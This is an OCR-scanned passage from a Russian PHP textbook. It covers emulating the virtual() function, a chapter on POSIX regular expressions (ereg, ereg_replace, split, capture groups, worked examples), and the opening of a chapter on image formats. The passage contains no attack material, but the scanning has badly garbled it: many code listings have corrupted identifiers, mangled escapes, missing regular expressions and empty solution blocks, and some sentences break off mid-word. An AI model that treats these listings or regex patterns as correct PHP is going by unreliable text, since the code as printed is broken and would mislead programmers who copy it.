Чаще всего функция virtual () используется для запуска внешних CGI- сценариев, написанных на другом языке программирования, или же для обработки SSI-файлов более сложной структуры. В случае, если запускается сценарий, он должен генерировать правильные HTTP-заголовки, иначе будет выведено сообщение об ошибке. Заметьте, что для включения обычных PHP-файлов с участками кода функция virtual о неприменима — это выполняет оператор include.

Эмуляция функции virtualO

Функция virtual о работает только в том случае, если РНР установлен как модуль Apache. Проблемы начинаются, если это не так, и какой-то уже готовый сценарий интенсивно использует вызовы virtual о. Тогда мы должны будем либо переделать сценарий, либо написать эмуляцию для функции virtual о (благо в "сценарном" варианте РНР эта функция отсутствует, так что можно без оглядки на ключевые слова создать процедуру с именем virtual t >)- Вот как мы здесь поступим:

if (!function—exists("virtual")) {

// Условно определяемая функция

functionVirtual($url)

{ //* здесь должен идти код для преобразования относительного

//* URL (заданного относительно текущего каталога) в абсолютный.

//* Мы не будем сейчас останавливаться на этом вопросе — оставим //* его для 5-й части книги.

global $HTTP_HOST,$SERVER-PORT;

$f=@fopen("http://$HTTP_HOST:$SERVER_PORT$url" "r") ;

if(!$f) {

echo " [an error ocurred while processing this directive: $url]"; return false;

}

// Теперь просто читаем все и выводим с помощью echo

while( ($s=fread($f, 1M00) ) ! = "") echo $s;

fclose($f) return true;

} }

Обращаю ваше внимание на то, что используется не обычный f open () iа сетевая его разновидность, на что указывает префикс http:// В имени файла. Единственное здесь сложное место — преобразование относительного URL в абсолютный. Но эта задача, конечно, вполне разрешима, и мы займемся ей уже скоро — в пятой части книги — наряду с остальными проблемами прикладного характера.

Глава 22

Основы регулярных выражений в формате RegEx

Часто регулярные выражения оказываются настоящим камнем преткновения для программистов,с ними впервые. Это происходит

потому, что такие выражения немного сложны для запоминания и изобилуют всяческого рода специальными метасимволами. Целью настоящей главы является доказательство того, что не так все сложно, как может показаться с первого взгляда.

Начнем с примеров

На мой взгляд, проще всего разбираться с регулярными выражениями на примерах. Так мы и поступим, если вы не против. Ведь вы не против?..

Пример первый

Наверняка вам приходилось когда-нибудь сталкиваться с такой ситуацией (а если не приходилось, то просто представьте ее себе): профамма обрабатывает какой-то входной файл с именем и расширением, и необходимо сгенерировать выходной файл, имеющий то же имя, но другое расширение. Например, файлваша профамма должна обработать и записать результат вПроблема заключается в том, чтобы отрезать у имени

входного файла все после точки и "приклеить" на это место out.

Проблема довольно тривиальна, и даже на РНР ее можно решить всего несколькими командами. Например, так:

$p=strrpos(SinFile,'.

if($p) SoutFile=substr(SinFile, 0,$p) ; else $outFile=$inFile; SoutFile.=".out";

На самом деле, выглядит довольно неуклюже (особенно из-за того, что приходится обрабатывать случаи, когда входной файл не имеет расширения, а значит, в нем нет точки). И этаимеет место, несмотря на

то, что само действие приведенных строк можно описать всего несколькими словами. А именно: "Замени в строке $inFile все, что после последней точки (и ее саму), или, в крайнем случае, "конец строки" на строку . out, и присвой это переменной $outFile".

Пример второй

Давайте теперь рассмотрим другой пример. Нам нужно разбить полное имя файла на две составляющие: каталог, в котором расположен файл, и само имя файла. Как мы знаем, для этого в РНР встроены функции basename() и dirname(), рассмотренные выше. Но предположим для тренировки, что их нет. Вот как мы реализуем требуемые действия: $slashl=strrpos($fullPath,' /') ;

$slash2=strrpos($fullPath,'\\1) ;

$slash=max($slashl,$slash2);

$dirName=substr($fullPath,0,$slash) ;

$fileName=substr($fullPath,$slash+l,10000)

Здесь мы воспользовались тем фактом, что strrpos() возвращает false, которое интерпретируется как 0, если искомый символ не найден. Обратите внимание на то, что пришлось два раза вызывать strrpos (), потому что мы не знаем, какой слэш будет получен от пользователя — прямой или обратный. Видите — код все увеличивается. И уменьшить его почти невозможно.

।ЗамечаниеJ

На самом деле, эта проблема выглядит немного надуманной. Куда как проще и, главное, надежнее было бы сначала заменить в строке все обратные слэши на прямые, а потом и искать только прямые. Но в данном случае такой прием несколько отдалил бы нас от техники регулярных выражений, которой и посвящена глава.

Опять же, сформулируем словами то, что нам нужно: "Часть слова после последнего прямого или обратного слэша или, в крайнем случае, после начала строки, присвой переменной 5fileName, а "начало строки" ■ I ^- переменной $dirName". Формулировку "часть слова после последнего слэша" можно заменить на несколько другую: "Часть слова, перед которой стоит слэш, но в нем самом слэша нет".

Выводы

Скорее всего, вы уже поняли, что основной акцент в этих примерах я старался делать не на алгоритмах, а на "словесных утверждениях". Они состояли из довольно несложных, но комплексных частей, ОТНОСЯЩИХСЯ не к од-

ному символу (как это произошло бы, организуй мы цикл по строке), а сразу к нескольким "похожим"...

Но вернемся к названию этой главы. Так что же такое регулярные выражения! Оказывается, наши словесные утверждения (но не инструкции замены, а только правила поиска), записанные на особом языке, — это и есть регулярные выражения.

Терминология

Ну вот, к этому моменту должно быть уже интуитивно понятно, для чего же нужны регулярные выражения. Настало время посмотреть, как же их перевести на язык, понятный РНР.

Давайте немного поговорим о терминологии. Вернемся к нашим двум примерам, только назовем теперь то, что мы раньше называли "словесным утверждением", регулярным выражением, или просто выражением. В литературе иногда для этого же употребляется термин "шаблон", но мне он не особенно нравится, поэтому все-таки остановимся на слове "выражение".

Итак, мы имеем выражение и мы имеем строку. Операцию проверки, удовлетворяет ли строка этому выражению (или выражение — строке, как хотите) условимся называть сопоставлением строки и выражения. Если какая-то часть строки успешно сопоставилась с выражением, мы назовем это совпадением. Например, совпадением от сопоставления выражения "группа букв, окруженная пробелами" к строке "ab cde fgh" будет строка "cde" (ведь только она удовлетворяет нашему выражению). Возможно, дальше мы с этим совпадением захотим что-то проделать — например, заменить его на какую-то строку или, скажем, заключить в кавычки. Это — типичный пример сопоставления с заменой. Все эти возможности реализуются в РНР в виде функций, которые мы сейчас и рассмотрим.

Использование регулярных выражений в РНР

Вернемся на минуту опять к практике. Любое регулярное выражение в РНР - это просто строка, его содержащая, поэтому функции, работающие с регулярными выражениями, принимают их в параметрах в виде обычных строк.

Сопоставление

bool ereg(string $expr, string $str [,list &$Matchesl)

Функция пытается сопоставить выражение $expr строке Sstr и в случае удачи возвращает true, иначе — false. Если совпадение было найдено, то в

список SMatches (конечно, если он задан) записываются отдельные участки совпадения (как выделять эти участки на языке RegEx, мы рассмотрим немного позже). Пока скажу только, что в SMatches[0] всегда будет возвращаться подстрока совпадения целиком.

Сопоставление с заменой

Если нам нужно не определить, удовлетворяет ли строка выражению, а заменить в ней все подстроки, ему удовлетворяющие, на что-то еще, следует воспользоваться следующей функцией:

string ereg_replace(string $expr, strint $str, string $strToChange)

Эта функция занимается тем, что ищет в строке $str все подстроки, соответствующие выражению Sexpr, и заменяет их на $strToChange. В строке $strToChange могут содержаться некоторые управляющие символы, позволяющие обеспечить дополнительные возможности при замене. Их мы рассмотрим позже, а сейчас скажу только, что сочетание VO (в РНР эта строка будет записываться как "WO") будет заменено на найденное совпадение целиком.

Язык RegEx

Существует несколько разновидностей языков, используемых для записи регулярных выражений и работы с ними. У всех них есть много общего, но отдельные части все же отличаются. В РНР версии 3 стандартно реализован только один из языков — он называется RegEx.

£ Примечание

В четвертой версии интерпретатора поддерживается также и стандарт PCRE (Perl-Compatible Regular Expression — Регулярные выражения языка Perl). Его выражения несколько более универсальны. Прочитать о формате PCRE можно в любой книге по Perl.

Нужно заметить, что стандарт RegEx — один из самых первых и простых, поэтому он не включает некоторые возможности, которые могут иногда потребоваться.

Перейдем теперь непосредственно к языку RegEx. Вот что он нам предлагает. Каждое выражение состоит из одной или нескольких управляющих команд. Некоторые из них можно группировать (как мы группируем инструкции в программе при помощи фигурных скобок), и тогда они считаются за одну команду. Все управляющие команды разбиваются на три класса:

простые символы, а также управляющие символы, играющие роль их "заменителей";

управляющие конструкции (квантификаторы повторений, оператор альтернативы, группирующие скобки и т. д.);

так называемые мнимые символы (в строке их нет, но, тем не менее, они как бы помечают какую-то часть строки — например, ее конец).

Простые символы

Класс простых символов, действительно, самый простой. А именно, любой символ в строке на RegEx обозначает сам себя, если он не является управляющим (к управляющим символам причисляются следующие:

Например, регулярное выражениебудет "реагировать" на строки, в ко

торых встречается последовательность

Отмена действия спецсимволов

Если же нужно вставить в выражение один из управляющих символов, но только так, чтобы он "не действовал", достаточно предварить его обратным слэшем. К примеру, если мы ищем строку, содержащую подстрокуто

мы должны использовать для этого выражение(опять же, в РНР эта

строка будет записываться какпоскольку символ * является уп

равляющим (вскоре мы рассмотрим, как он работает).

Здесь я хотел бы еще (на этот раз в последний) раз заострить внимание на одной детали. Как вы знаете, для того, чтобы в какую-то строку вставить слэш, необходимо его удвоить. То есть мы не можем написать

$a="aVb"

но можем

$a="a\\*b"

В последнем случае в строке $а оказываетсяТак как регулярные вы

ражения в РНР представляются именно в виде строк, то необходимо постоянно помнить это правило.

Примечание

Ошибки такого рода чрезвычайно распространены, и можно не один час ломать голову, почему же все работает не так, как должно.

Группы символов

Было бы глупо, если бы RegEx позволял нам задавать части искомых строк только непосредственно, как это было рассмотрено выше. Поэтому существуют несколько спецсимволов, обозначающих сразу группу букв. Эта возможность — один из краеугольных камней, основ регулярных выражений. Самый важный из таких знаков — точка — обозначает один любой символ.

Например, выражение a. b имеет совпадение для строк azb или aqb, но не "срабатывает" для, скажем, aqwb или аь. Позже мы рассмотрим, как можно заставить точку обозначать ровно один (или, к примеру, ровно пять) любых символов.

Но это далеко не все. Возможно, вы захотите искать не любой символ, а один из нескольких указанных. Для этого наши символы нужно заключить в квадратные скобки. К примеру, выражение a[xXyY]c соответствует строкам, в которых есть подстроки из трех символов, начинающиеся с а, затем одна из букв х, х, у, Y и, наконец, буква с. Если нужно вставить внутрь квадратных скобок символ [ или ] , то следует просто поставить перед ним обратный слэш (напоминаю, в строках РНР — два слэша), чтобы отменить его специальное действие.

Если букв-альтернатив много, и они идут подряд, то не обязательно перечислять их все внутри квадратных скобок — достаточно указать первую из них, потом поставить дефис и затем — последнюю. Такие группы могут повторяться. Например, выражение [a-z] обозначает любую букву от а до z включительно, а выражение [a-zA-Z0-9_] задает любой алфавитноцифровой символ.

Существует и другой, иногда более удобный способ задания больших групп символов. В языке RegEx в скобках [ и ] могут встречаться не только одиночные символы, но и специальные выражения. Эти выражения определяют сразу группу символов. Например, [:alnum: ] задает любую букву или цифру, а [:digit: ] — цифру. Вот полный список таких выражений:

[: alpha:] — буква;

[: digit:] -- ЦИфра;

[ :alnum: ] — буква или цифра;

[ :space: ] — пробельный символ;

П [:blank: ] — пробельный символ или символы с кодом 0 и 255;

П [ :cnrtl: ] — управляющий символ;

П [:graph: ] — символ псевдографики;

П [ :lower: ] — символ нижнего регистра;

П [: upper: ] — символ верхнего регистра;

П [ :print: ] ■■w* печатаемый символ;

П [ :punct: ] — знак пунктуации;

[ : xdigit: ] — ЦИфра ИЛИ буква ОТ А ДО F.

Как видим, все эти выражения задаются в одном и том же виде - [ :что_то:]. Хочу еще раз обратить ваше внимание на то, что они могут

встречаться только внутри квадратных скобок. Например, допустимы такие регулярные выражения:

abc[[:alnum: ]] +// abc, затем одна или более буква или цифра

abc[[:alpha: 1 [:punch]0] // abc, далее буква, знак пунктуации или О

но совершенно недопустимы следующее:

abc[:alnum:]+// не работает!

Еще одно привлекательное свойство выражений [:что_то:] заключается в том, что они автоматически учитывают настройки локали, а значит, правильно работают с "русскими" буквами (конечно, если перед этим была вызвана функция setlocale () с верными параметрами). Таким образом, выражение [ [:alpha: ]] + удовлетворяет любому слову как на английском, так и на русском языке. Добиться этого при помощи "обычного" использования [ - • . ] было бы очень тяжело.

Отрицательные группы

Иногда (когда альтернативных символов много) бывает довольно утомительно перечислять их всех в квадратных скобках. Особенно обидно выходит, если нас устраивает любой символ, кроме нескольких (например, кроме > и <). В этом случае, конечно, не стоит указывать 254 символа, вместо этого лучше воспользоваться конструкцией [A<>], которая обозначает любой символ, кроме тех, которые перечислены после [A и до ]. Например, выражение a [A \t\n\r] b "срабатывает" на все строки, содержащие буквы а и ь, разделенные любым не пробельным символом.

В отрицательной группе могут быть задействованы любые символы и выражения, которые допустимы в конструкции [...]•Таким образом, мы можем положиться на настройки локали и в этом случае.

Квантификаторы повторений

Перейдем теперь к рассмотрению так называемых квантификаторов — специальных знаков, использующихся для уточнения действия предшествующих им символов первого класса.

Ноль или более совпадений

Наиболее важный из них — звездочка *. Она обозначает, что предыдущий символ может быть повторен ноль или более раз (то есть, возможно, и ни разу). Например, выражение a-*- соответствует строке, в которой есть буква а, затем — ноль или более минусов и, наконец, завершающий минус.

В простейшем случае при этом делается попытка найти как можно более длинную строку, т. е. звездочка "поглощает" так много символов, как это

возможно. К примеру, для строки a---b найдется подстрока a (звездочка "заглотила" 2 минуса), а не а- (звездочка захватила 1 минус). Это — так называемая "жадность" квантификатора, и в РНР нет, к сожалению, возможности "убавить ему аппетит".

Замечание )

Язык PCRE, в отличие от RegEx, позволяет ограничивать "жадность" квантификаторов.

Одно или более совпадений

Возможно, вы заметили некоторую неуклюжесть в предыдущем примере. В самом деле, фактически мы составляли выражение, которое ищет строки с а и одним или более минусом. Можно было бы записать его и так: a-- *, но лучше воспользоваться специальным квантификатором, который как раз и обозначает "одно или более совпадений" — символом плюса +. С его помощью можно было бы выражение записать лаконичнее: а-+, что буквально и читается как "а и один или более минусов". Вот пример выражения, которое определяет, есть ли в строке английское слово, написанное через дефис: [a-zA-Z]+~[a-zA-Z]+.

Ноль или одно совпадение

И уж чтобы совсем облегчить жизнь, иногда используют еще один квантификатор — знак вопроса ?. Он обозначает, что предыдущий символ может быть повторен ноль или один (но не более!) раз. Например, выражение [a-zA_Z]+\r?\n определяет строки, в которых последнее слово прижато к правому краю строки. Если мы работаем в Unix, то там в конце строки символ \ r обычно отсутствует, тогда как в текстовых файлах Windows каждая строка заканчивается парой \r\n. Для того чтобы сценарий правильно работал в обоих системах, мы должны учесть эту особенность — возможное наличие \r перед концом строки.

Заданное число совпадений

Наконец, давайте рассмотрим последний квантификатор повторения. С его помощью можно реализовать все перечисленные выше возможности, правда, и выглядит он несколько более громоздко. Итак, сейчас речь пойдет о квантификаторе "фигурные скобки". Существует несколько форматов его записи. Давайте последовательно разберем каждый из них.

X{n,m} — указывает, что символ X может быть повторен от п до m раз;

X{n} - указывает, что символ X должен быть повторен роено п раз;

П х(п, ) — указывает, что символ X может быть повторен п или более раз.

Значения п и в этих примерах обязательно должныдиапа

зону от 0 до 255 включительно. В качестве тренировки вы можете подумать, как будут выглядеть квантификаторы *, + и ? в терминах

Мнимые символы

Мнимые символы — это просто участок строки между соседними символами (да, именно так, как это ни абсурдно),некоторым свойст

вам. Фактически, мнимый символ — это некая позиция в строке. Например, символ соответствует началу строки (заметьте: не первому символу строки, а в точности началу строки, позиции перед первым символом), а $ — ее концу (опять же, позиции за концом строки).

Чтобы это понять, давайте рассмотрим выражениекоторое соответствует

любой строке, начинающейся с abc, и выражение abc$, соответствующее строке с abc на "хвосте". Наконец, выражениесопоставимо только со

строкой abc, и в этом смысле оно эквивалентно сравнению на равенство.

Существуют еще два мнимых символа, задающих начало и конец слова. Первый из них обозначается каки указывает на позицию перед

первой буквой очередного слова. Последний записывается в видеи

сигнализирует о позиции после последнего символа слова. Под словом здесь понимается фрагмент строки, удовлетворяющий выражению [ [] ]+,

т. е., любая последовательность из букв и цифр.

Примечание

Язык RegEx поддерживает только четыре уже рассмотренных нами мнимых символа. Этого нельзя сказать о формате PCRE, в котором, наоборот, количество таких символов доведено до абсурда.

Вот пример использования мнимых символов:

$st="string

if(ereg("[[:<:]] ([[:alnum:]+) [ [:>:]]",$st,$Pock)i

echo "Найдено слово: $Pock[lJ";

Оператор альтернативы

При описании простых символов мы рассматривали конструкцию которая позволяла нам указывать, что в нужном месте строки должен стоять один из указанных символов. Фактически, это не что иное, как оператор альтернативы, работающий только с отдельными символами (и потому довольно быстро).

Но в языке RegEx есть возможность задавать альтернативы не одиночных символов, а сразу их групп. Это делается при помощи оператора

Вот несколько примеров его работы.

Выражение 1|2|3 полностью эквивалентно выражению [123], но сопоставление происходит несколько медленнее.

Выражению ааа| Aa | z$ I zzz соответствуют строки, в которых есть подстрока ааа, либо которые начинаются на а, либо оканчиваются на z, либо, наконец, содержат подстроку zzz.

Выражению abclIabc22 |abc333 соответствуют строки, в которых встречаются ПОДСТРОКИ abcl, abc22 ИЛИ аЬсЗЗЗ (а ВОЗМОЖНО, И все Три ОДНОвременно).

Группирующие скобки

Последний пример наводит на рассуждения о том, нельзя ли как-нибудь сгруппировать отдельные символы, чтобы не писать по несколько раз одно и то же. В нашем примере строка abc встречается в выражении аж 3 раза. Но мы не можем написать выражение так: abcl|22|333, потому что оператор I , естественно, пытается применить себя к как можно более длинной последовательности команд.

Именно для цели управления оператором альтернативы (но не только) и служат группирующие круглые скобки (...). Нетрудно догадаться по смыслу, что выражение из последнего примера можно записать с их помощью так: abc (1 I 22 | 333) .

Конечно, скобки могут иметь произвольный уровень вложенности. Это бывает полезно для сложных выражений, содержащих много условий, а также для еще одного применения круглых скобок, которое мы сейчас и рассмотрим.

"Карманы"

Пока что мы научились только определять, соответствует ли строка регулярному выражению и, возможно, предпринимать какие-то действия по замене найденной части на другую подстроку. Однако на практике часто бывает нужно не просто узнать, где в строке имеется совпадение (и что оно из себя представляет), но также и разбить это совпадение на части, ради которых, собственно, и велась вся работа.

Вот пример, проясняющий ситуацию. Пусть нам в строке задана дата в формате DD-MM-YYYY, и в ней могут встретиться паразитные пробелы в начале и конце. Нас интересует, что же все-таки за дату нам передали. То есть, мы точно знаем, что эта строка — именно дата, но вот где в ней день, где месяц и где год?

Посмотрим, что же предлагает нам RegEx и РНР для решения рассматриваемой задачи. Для начала установим, что все правильные даты должны соответствовать выражению

~ * ( ([0-9]+)-( [0-9]+)-([0-9]+)) *$

Для простоты мы не проверяем, что длина каждого поля не должна превышать 2 (для года — 4) символа. Все строки, не удовлетворяющие этому выражению, заведомо не являются датами.

Мы не зря ограничили отдельные части регулярного выражения скобками, хотя, на первый взгляд, можно было бы их опустить. И вот почему: любой блок, обрамленный в выражении скобками, выделяется как единое целое и записывается в так называемый "карман" (номер кармана соответствует порядку открывающихся скобок). В нашем случае в первый карман запишется дата, но уже без ведущих и концевых пробелов (это обеспечивает самая внешняя пара скобок), во второй — как раз день, в третий — месяц и, наконец, в четвертый — год.

Примечание

Обратите еще раз внимание на порядок нумерации карманов — она идет по номеру открывающейся скобки.

Как уже упоминалось, в нулевой карман в любом случае записывается все найденное совпадение. В данном примере это будет вся строка.

Как получить содержимое наших карманов? Очень просто: как раз тот список, который передается по ссылке функции ereg() третьим параметром, и есть карманы. Исходя из этого, имеем следующую программу на РНР, выполняющую требуемые действия: $str=" 15-16-2000// к примеру

// Разбиваем строку на куски при помощи ereg

ereg(”A * ( ( [0-9]+) - ( [0-9]+)- ( [0-9]+)) *$",$str,$Pockets);

// Теперь разбираемся с карманами

echo "Дата без пробелов: $Pockets[l] <br>" echo "День: $Pockets[2] <br>";

echo "Месяц: $Pockets[3] <br>";

echo "Год: $Pockets[4] <br>";

Вот теперь мы можем усложнить наш пример, объявив, что числа внутри даты могут разделяться не только дефисом, но и, скажем, точкой или косой чертой, и, к тому же, между цифрами могут также попасться паразитные пробелы. Вот как будет выглядеть выражение, реализующее разбор таких строк:

*([0-9]+) *[-./] *([0-9]+) *[-./] *([0-9]+) *$

Использование карманов в функции замены

Мы рассмотрели только самый простой способ использования карманов - прямой их просмотр после выполнения поиска. Однако возможности, предоставляемые языком RegEx, куда шире. Особенно часто эти возможности применяются для замены с помощью регулярных выражений.

Предположим, нам нужно все слова в строке, начинающиеся с "доллара" $, сделать "жирными", — обрамить тэгами <ь> и — для последующего вывода в браузер. Это может понадобиться, если мы хотим текст некоторой программы на РНР вывести так, чтобы в нем выделялись имена переменных. Очевидно, выражение для обнаружения имени переменной в строке будет таким: \$[ [

Но как нам использовать его в функцииВот фрагмент

программы, которая делает это:

$str='<? $a=10; for($i=0; Si<10; $i++) echo $1; ?>'; // к примеру $str=ereg_Replace("(\\$[a-zA-Z_][[:alnum:]]*)","<b>\\K/b>",$str);

Замечание

Пожалуйста, обратите опять внимание на то, что слэши должны удваиваться.

Нетрудно догадаться, как "оно" работает: просто во время замены везде вместо сочетания \1 подставляется содержимое кармана номер 1.

Использование карманов в функции сопоставления

И даже на том, что было описано выше, возможности карманов не исчерпываются. Мы можем задействовать содержимое карманов и в функции

-- раньше, чем закончится сопоставление. А именно, управлять ходом поиска на основе данных в карманах.

В качестве примера рассмотрим такую далеко не праздную задачу. Известно, что в строке есть подстрока, обрамленная какими-то HTML-тэгами (например, <ь> илино неизвестно, какими. Требуется поместить эту под

строку в карман, чтобы в дальнейшем с ней работать. Разумеется, закрывающий тэг должен соответствовать открывающему — например, к тэгу <ь> парный — </Ь>, а К <pre> — </pre>.

Задача решается с помощью такого регулярного выражения:

<([[:alnum:]]+)>([^<]*)c/\l>

При этом результат окажется во втором кармане, а имя тэга — в первом. Вот как это работает: РНР пытается найти открывающий тэг, и, как только находит, записывает его имя в первый карман (так как это имя обрамлено в выражении первой парой скобок). Дальше он смотрит вперед и, как только

кивается на </, определяет, следует ли за ним то самое имя тэга, которое у него лежит в первом кармане. Это действие заставляет его предпринять конструкция \1, которая замещается на содержимое первого кармана каждый раз, когда до нее доходит очередь. Если имя не совпадает, то такой вариант РНР отбрасывает и "идет" дальше, а иначе сигнализирует о совпадении.

Вот фрагмент программы, который все описанное делает тремя строчками:

$str = "Hello, this <b>word</b> is bold!";

if(ereg("<([[:alnum:]]+)>([A<]*)</\\l>",$str,$Pockets))

echo "Слово '$Pockets[2]' обрамлено тэгом ’<$Pockets[!]>’";

Дополнительные функции

bool eregi(string $expr, string $str [,list &$Matches])

To же, что и ereg (), только без учета регистра символов.

(Замечание)

Хотя регистр и не учитывается при поиске, в карманах $Matches все найденные подстроки все же запишутся с точным сохранением регистра букв.

string eregi_replace(string $expr, strint $str, string $strToChange)

To же, что и ereg_replace () , но без учета регистра буквенных символов. int quotemeta (string $str)

Часто бывает нужно гарантировать, чтобы в какой-то переменной-строке ни один символ не мог трактоваться как метасимвол. Этого можно добиться, предварив каждый из них наклонной чертой, что и делает функция quotemeta () • А именно, она "заслэшивает" следующие символы: ., \\, +, *, ?, (1, (), A, $•

Внимание

Перед I слэш почему-то не ставится. Будьте особо внимательны!

list split(string $pattern, string $string [,int $limit])

Эта функция очень похожа на explode () • Она тоже разбивает строку $string на части, но делает это, руководствуясь регулярным выражением $pattern. А именно, те участки строки, которые совпадают с этим выражением, и будут служить разделителями. Параметр $limit, если он задан, имеет то же самое значение, что и в функции explode () — а именно, возвращается список из не более чем $limit элементов, последний из которых содержит участок строки от ($limit-l)-ro совпадения до конца строки.

Наверное, вы уже догадались, что функция split о работает гораздо медленнее, чем explodeОднако она, вместе с тем, имеет впечатляющие воз

можности, в чем мы очень скоро убедимся. Тем не менее, не стоит применять split о там, где прекрасно подойдет explodeЧаще всего этим

грешат программисты, имеющие некоторый опыт работы с Perl, потому что в Perl для разбиения строки на составляющие есть только функция split list split!(string $pattern, string $string [,int $limit])

Аналог функции split о, который делает то же самое, только при сопоставлении с регулярным выражением не учитывается регистр символов.

Примеры использования регулярных выражений

Какая же книга, описывающая (даже вкратце) регулярные выражения, обходится без примеров. Я не буду отступать от установленных канонов, хотя, конечно, понимаю, что истинная свобода при работе с выражениями достигается только практикой. Некоторые из следующих ниже примеров выглядят довольно сложно, но, если разобраться, смысл чаще всего оказывается на поверхности.

Имя и расширение файла

Задача: для имени файла вустановить расширение out независимо

от его предыдущего расширения.

Решение:

$fname=ereg_Replace(

' ([[:alnum:]]) (\\. [[:alnum: ].]*)?$',

'\\1.out', $fname

);

Обратите внимание на довольно интересную структуру этого выражения: мы не можем просто "привязать" его к концу строки при помощи $, что обусловлено спецификой работы RegEx. Мы также привязываем начало выражения к любой букве или цифре, которой оканчивается имя файла.

Имя каталога и файла

Цель: разбить полное имя файла $path на имя каталога $dir и и имя файла $fname.

Средства:

=

$dir=

Проверка на идентификатор

Задача: проверить, является ли строка идентификатором, т. е. состоит ли она исключительно из алфавитно-цифровых символов (чтобы сделать задачу более интересной, договоримся также, что первым символом строки не может быть цифра).

Решение:

echo "Это

Модификация тэгов

Задача: в тексте, заданном в $text, у всех тэгов <img> заменить в src расширение файла рисунка на gif, вне зависимости от того, какое расширение было у него до этого и было ли вообще.

Решение:

$text=eregi_Replace(

(\\. [

'Wl.jpg',

$text

);

Преобразование гиперссылок

Задача: имеется текст, в котором иногда встречаются подстроки вида где протокол — один из протоколовftp или gopher, а

URL — какой-нибудь адрес в Интернете. Нужно заместить их на HTML-эквиваленты <а href=...>...</a>.

Решение:

$w="[:alnum:]";

$p="[:punct:]";

$text=eregi Replace :

// протоколтля хоста// протоколтля хоста" ( (https? |ftp | gopher) •.//".

// протокол

тля хоста

// протокол

тля хоста

" L$w-J + ( \\. [$w- ] +) *" .

"(/[$w+&.%]*(\\?[$w?+&%]*) ?)// имя файла и параметры

' <a href="\\l ">\\K/a> 1, $text

Преобразование адресов E-mail

Задача: имеется текст, в котором иногда встречаются строки вида пользователь@хост, т. е. E-mail-адреса в обычном формате (или хотя бы большинство таких E-mail). Необходимо преобразовать их в HTML-ссылки. Решение:

$text=eregi_Replace (

// пользователь// домен// необязательные параметры// пользователь// домен// необязательные параметры'([[: alnum:] -.]+@ 1 .

// пользователь

// домен

// необязательные параметры

// пользователь

// домен

// необязательные параметры

1[[:alnum:]—]+(\\.[[:alnum:] — ] +)

' i\\?([[:alnum: ]?+&%]*)?)?'.

*) ',,

*<a href="\\l">\\l</a>',

$text

Этот пример, хоть и не безупречен, но все же преобразует правильно львиную долю адресов электронной почты.

Выделение всех уникальных

слов из текста

Задача: перед нами некоторый довольно длинный текст в переменной $text. Необходимо выделить из него все слова и оставить из них только уникальные. Результат должен быть представлен в виде списка, отсортированного в алфавитном порядке. Решение этой задачи может потребоваться, например, при написании индексирующей поисковой системы на РНР.

Решение: воспользуемся функцией split () и ассоциативным массивом.

Листинг 22.1. Отбор уникальных слов

// Эта функция выделяет из текста в $text все уникальные слова и

// возвращает их список, отсортированный в алфавитном порядке.

function GetUniques ($text)

{ // Сначала получаем все слова в тексте

$Words=split("[[:punct:] [:blank:]]+",$text);

$Uniq=array( ) ; // список уникальных слов

$Test=array(); // хэш уже обработанных слов

/ / Проходимся по всем словам в $Words и заносим в $Uniq уникальные

foreach(SWords as $v) {

$v=strtolower($v) ; // в нижний регистр

// Слово уже нам встречалось? Если нет, то занести в $Uniq

if(!@$Test[$v]) $Uniq[]=$v;

// Указать, что это слово уже обрабатывалось

$Test[$v]=l;

}

// Наконец, сортируем список

sort($Uniq);

return $Uniq;

I

Данный пример довольно интересен, т. к. он имеет довольно большую функциональность при небольшом объеме. Его "сердце" -- функция split о и цикл перебора слов с отбором уникальных. Мы используем алгоритм, основанный на применении ассоциативного массива для отбора уникальных элементов. Как он работает — надеюсь, ясно из комментариев.

Теперь мы можем воспользоваться функцией из листинга 22.1, например, в таком контексте:

$fname="sometext.txt";

$f=fopen($fname,"r");

$text=fread($f,filesize($fname));

fclose($f);

$Uniq=GetUniques($text) ;

foreach($Uniq as $v) echo "$v ";

СЗамечание

Интересно будет отметить, что функция preg_split(), которая работает с регулярными выражениями в формате PCRE, и которую мы не рассматриваем в этой книге, показывает гораздо лучшую производительность в этом примере, чем split () — чуть ли не в 3 раза быстрее! Если вам нужна максимальная производительность, пожалуй, будет лучше воспользоваться именно ей, но прежде почитайте что-нибудь о Perl и его регулярных выражениях — например, в замечательной книге Perl Cookbook Тома Кристиансена и Ната Торкингтона (русское издание: "Библиотека программиста. Perl", издательство Питер, 2000).

Заключение

Конечно, можно придумать и еще множество примеров применения регулярных выражений. Вы наверняка сможете это сделать самостоятельно —

Глава 22. Основы регулярных выражений в формате RegEx 373 особенно после некоторой практики, которая так важна для понимания этого материала.

Однако я хочу обратить ваше внимание на то, что во многих задачах как раз не обязательно применять регулярные выражения. Так, например, задачи "поставить слэш перед всеми кавычками в строке" и "заменить в строке все кавычки на Squot;" МОЖНО И НУЖНО решать При ПОМОЩИ str_replace () , а не ereg_Replace о (это существенно — раз в 20 — повысит быстродействие). Не забывайте, что регулярное выражение — некоторого рода "насилие" над компьютером, принуждение делать нечто такое, для чего он мало приспособлен. Этим объясняется медлительность механизмов обработки регулярных выражений, экспоненциально возрастающая с ростом сложности шаблона.

Работа с изображениямиРабота с изображениямиГлава 23

Работа с изображениями

Работа с изображениями

Как мы знаем, одним из самых важных достижений WWW по сравнению со всеми остальными службами Интернета стала возможность представления в браузерах пользователей мультимедиа-информации, а не только "сухого" текста. Основной объем этой информации приходится, конечно же, на изображения.

Разумеется, было бы довольно расточительно хранить и передавать все рисунки в обыкновенном растровом формате (наподобие BMP), тем более, что современные алгоритмы сжатия позволяют упаковывать такого рода данные в сотни и более раз эффективней. Чаще всего для хранения изображений используются три формата сжатия с перечисленными ниже свойствами.

□ JPEG. Идеален для фотографий, но сжатие изображения происходит с потерями качества, так что этот формат совершенно не подходит для хранения различных диаграмм и графиков.

GIF. Позволяет достичь довольно хорошего соотношения размер/ка- чество, в то же время не искажая изображение; применяется в основном для хранения небольших точечных рисунков и диаграмм.

PNG. Сочетает в себе хорошие стороны как JPEG, так и GIF, но в настоящий момент ему почему-то не выражают особого доверия — скорее, по историческим причинам, из-за нежелания отказываться от GIF и т. д.

В последнее время GIF все более вытесняется форматом PNG, что связано в первую очередь с окончанием действия бесплатной лицензии изобретателя на его использование. К сожалению, для небольших изображений GIF все еще остается самым оптимальным форматом, оставляя позади (иногда далеко позади) PNG.

Зачем может понадобиться в Web-программировании работа с изображениями? Разве это не работа дизайнера?

